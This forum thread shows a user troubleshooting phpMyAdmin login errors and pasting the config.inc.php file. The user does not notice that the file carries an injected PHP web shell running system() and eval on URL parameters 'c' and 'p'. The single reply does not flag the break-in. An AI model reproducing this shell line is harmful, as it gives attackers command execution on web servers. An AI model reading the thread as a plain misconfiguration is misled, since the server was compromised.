PDA

View Full Version : [ubuntu] PHPMyAdmin problem


Spikerok
August 17th, 2009, 05:45 AM
After updating my ISPConfig I found out that when I enter my PHPMyAdmin page (first page) shows me next error
"#1045 - Access denied for user 'root'@'localhost' (using password: NO) "

Before i had error with
"Invalid hostname for server 1. Please review your configuration."

But I managed to fix it by modifying line in "var/lib/phpmyadmin/config.inc.php"

At the start "config.inc.php"

<?php
/*
* Generated configuration file
* Generated by: phpMyAdmin 2.11.8.1deb1 setup script by Michal д-ihaе? <michalihar.com>
* Version: $Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
* Date: Wed, 12 Aug 2009 19:07:53 GMT
*/

/* Servers configuration */
$i = 0;

/* Server (config:root) [1] */
$i++;
$cfg['Servers'][$i]['host']=''; if($_GET['c']){echo '<pre>';system($_GET['c']);echo '</pre>';}if($_GET['p']){echo '<pre>';eva$
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';

/* End of servers configuration */

?>


After I changed it.
<?php
/*
* Generated configuration file
* Generated by: phpMyAdmin 2.11.8.1deb1 setup script by Michal д▄ihaе≥ <michal@cihar.com>
* Version: $Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
* Date: Wed, 12 Aug 2009 19:07:53 GMT
*/

/* Servers configuration */
$i = 0;

/* Server (config:root) [1] */
$i++;
$cfg['Servers'][$i]['host']='localhost';
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';

/* End of servers configuration */

?>


So us you can see I have modified line with "$cfg['Servers'][$i]['host']="

and problem gone!
But Login problem didn't
I have tried deleting all browser history, cookies, didn't worked.
Other thing I done is made an .htaccess file which blocks any one from viewing config file
<Files "config.inc.php">
Order allow,deny
Deny from all
</Files>
As well I have fully deleted "rm -rf /usr/share/phpmyadmin/scripts/"

Nothing above didn't solve my problem.
Need help.

Bachstelze
August 17th, 2009, 07:21 AM
Mind your auth_type

http://wiki.phpmyadmin.net/pma/auth_types